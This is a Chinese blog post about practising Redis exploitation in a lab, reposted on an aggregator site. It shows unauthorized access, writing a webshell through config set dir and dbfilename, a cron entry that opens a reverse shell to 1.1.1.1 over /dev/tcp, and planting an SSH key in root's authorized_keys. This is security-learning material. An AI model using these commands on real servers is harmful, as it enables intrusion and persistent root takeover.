IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 大数据 -> Redis数据库的漏洞靶场演练 -> 正文阅读

[大数据]Redis数据库的漏洞靶场演练

作者: 村里的小四
免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责。

0x01 前言

以前只知道redis有未授权访问,redis未授权访问的利用看文章,但自己没有亲手做过,最近接触了一个postgresql的远程命令执行漏洞,我在数据库漏洞利用这块不熟悉,信安之路最近开了数据库的课程,在此记录数据库靶场演练的学习,并分享给大家。

0x02 数据库的安装

2.1 redis安装

下载地址:
https://github.com/microsoftarchive/redis/releases/tag/win-3.0.504

windows选择这个
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
去这个目录下改下服务端配置文件
在这里插入图片描述
找到含有requirepass字样的地方,追加一行,输入requirepass 12345。这是访问Redis时所需的密码,一般测试情况下可以不用设定密码。不过,即使是作为本地访问,也建议设定一个密码。此处以简单的12345来演示。

在这里插入图片描述
踩坑点:requirepass 前面不能有空格,要不然redis服务启动不成功

点击“开始”>右击“计算机”>选择“管理”。在左侧栏中依次找到并点击“计算机管理(本地)”>服务和应用程序>服务。再在右侧找到Redis名称的服务,查看启动情况。如未启动,则手动启动之。正常情况下,服务应该正常启动并运行了。
在这里插入图片描述
CMD下输入redis-cli并回车。(redis-cli是客户端程序)如图正常提示进入,并显示正确端口号,则表示服务已经启动。
在这里插入图片描述
在这里插入图片描述

2.2 redis的利用

2.2.1 未授权访问

info就能读出敏感信息,接下来就可以进一步的攻击利用
在这里插入图片描述

2.2.2 给指定的目录写shell

前提条件:

1 redis未授权或者弱口令登录进redis,并可以执行redis指令

2 开了 web 服务器,并且知道路径,还需要具有文件读写增删改查权限(我们可以将 dir 设置为一个目录 a,而 dbfilename 为文件名 b,再执行 save 或 bgsave,则我们就可以写入一个路径为 a/b 的任意文件。)
在这里插入图片描述
注意写入 webshell 的时候在一句话两边加上 /r/n 的换行符,因为用 redis 写入的文件会自带一些版本信息,如果不换行可能会导致无法执行。
在这里插入图片描述

2.3 利用redis特性反弹shell

反弹 shell 还是要根据实际情况来,比如 ubuntu 和 centos 反弹的命令会有区别, 一般是因为 sh 软链接指向的是 dash 还是 bash,一般反弹 shell 是 bash, 而 dash 的 shell 只有运行脚本的能力没有交互能力所以反弹 ubuntu 的shell 可能需要换脚本。

服务器监听端口

nc -lvvp 88

redis 写入反弹 shell 的计划任务

每分钟反弹一次 shell

127.0.0.1:6379> set xxx "\r\n\r\n*/1 * * * * /bin/bash -i>&/dev/tcp/1.1.1.1/88 0>&1\n\r\n\r"
OK
127.0.0.1:6379> config set dir /var/spool/cron
OK
127.0.0.1:6379> config set dbfilename root
OK
127.0.0.1:6379> save
OK
127.0.0.1:6379>

在这里插入图片描述
测试了很多目标,其中有两个虽然所有命令都执行成功了,但是无法反弹 shell,可能是因为无法出网、或者被安全系统拦截,都是有可能的,在实际的渗透中,目标所处环境和安全防护的策略都会影响实际的测试,此漏洞不常见。

这一步我没执行,因为我反弹shell没成功

最后利用反弹的 shell,清理掉设置的计划任务:echo “” > /var/spool/cron/root

2.4 利用redis特性获取SSH权限

当 redis 以 root 身份运行,可以给 root 账户写入 SSH 公钥文件,直接通过 SSH 登录目标服务器。

生成ssh私钥

ssh-keygen -t rsa

在这里插入图片描述
将新生成的 id_rsa 保存在 redis.txt 文件中

(echo -e “\n\n”; cat id_rsa.pub; echo -e “\n\n”) > redis.txt

在这里插入图片描述

cat redis.txt

在这里插入图片描述
复制 redis.txt 中的内容,执行下面的命令:

127.0.0.1:6379> flushall
OK
127.0.0.1:6379> set dir /root/.ssh
OK
127.0.0.1:6379> config set dbfilename authorized_keys
OK
127.0.0.1:6379> set crack "\r\n\r\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDiNX9dwVqZwSaZXrKurMM7PKgi9q4oSUDrI5QpG+AaDEptvPEGo1fAUsvusm6SzgAKTd/cONBMXOt1dDrEFyljKcXjPs5Eavge40fUJIh/VtvT0+oY7o4GelNyr9vUYR/cxZnhPxlMfw0KJE7Jx8ZS7EACs3+s9xR8FjullAdk9STHSQ0Yk7FVMNzLVsdKMs1VACFCU88GNLxpCP96ZWy/5UmUD86wjwWoxNCVUnJADluDQWdt2HggkoUwbUWWdRJ2rXIEgRERz4cmwKSSDJ7DWcjWTqg9f2m2nJMMfIqc+I3Q4HqBevZawWMs/XJsGECL6xzIloEdvC6/stpSACFR9PlSrBIysLITFasbgUmByCykeuM+yocLMDn5EkE9e8UH99u6QRkNCqFyaCksKBX79mQChlj4YiKsIYBr3qRO6m7p4JujcjLGG/bOanmT+c8svtUVfqtoOgMy8y6uk6SSLuzUYrYDrH3y7voFaDzqjX0sxIxGUjjS45GFaExY7qM= root@vulhub
\r\n\r\n"
OK
127.0.0.1:6379> save
OK

在这里插入图片描述
查看结果已经导入了
在这里插入图片描述
虚拟机遇到了ssh服务没开启,又弄了一通,linux基础不扎实,很多命令都一知半解。

遇到了这个问题,说我的密钥错误,可明明已经写进去了。
在这里插入图片描述
接下来再继续在靶场看看是怎么回事,下期带来其他数据库漏洞的靶场练习。

0x03 总结

数据库的利用一般在攻防演练中会用到,渗透测试中基本遇不到这种情况,知识总是有用的,技术到用时方恨少,下期带来其他数据库的漏洞靶场练习。

参考资料:

https://www.leavesongs.com/PENETRATION/write-webshell-via-redis-server.html

0x04 了解更多安全知识

欢迎关注我们的安全公众号,学习更多安全知识!!!
欢迎关注我们的安全公众号,学习更多安全知识!!!
欢迎关注我们的安全公众号,学习更多安全知识!!!
在这里插入图片描述

  大数据 最新文章
实现Kafka至少消费一次
亚马逊云科技:还在苦于ETL?Zero ETL的时代
初探MapReduce
【SpringBoot框架篇】32.基于注解+redis实现
Elasticsearch:如何减少 Elasticsearch 集
Go redis操作
Redis面试题
专题五 Redis高并发场景
基于GBase8s和Calcite的多数据源查询
Redis——底层数据结构原理
上一篇文章      下一篇文章      查看所有文章
加:2022-01-12 00:04:28  更:2022-01-12 00:06:44 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/24 14:20:05-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码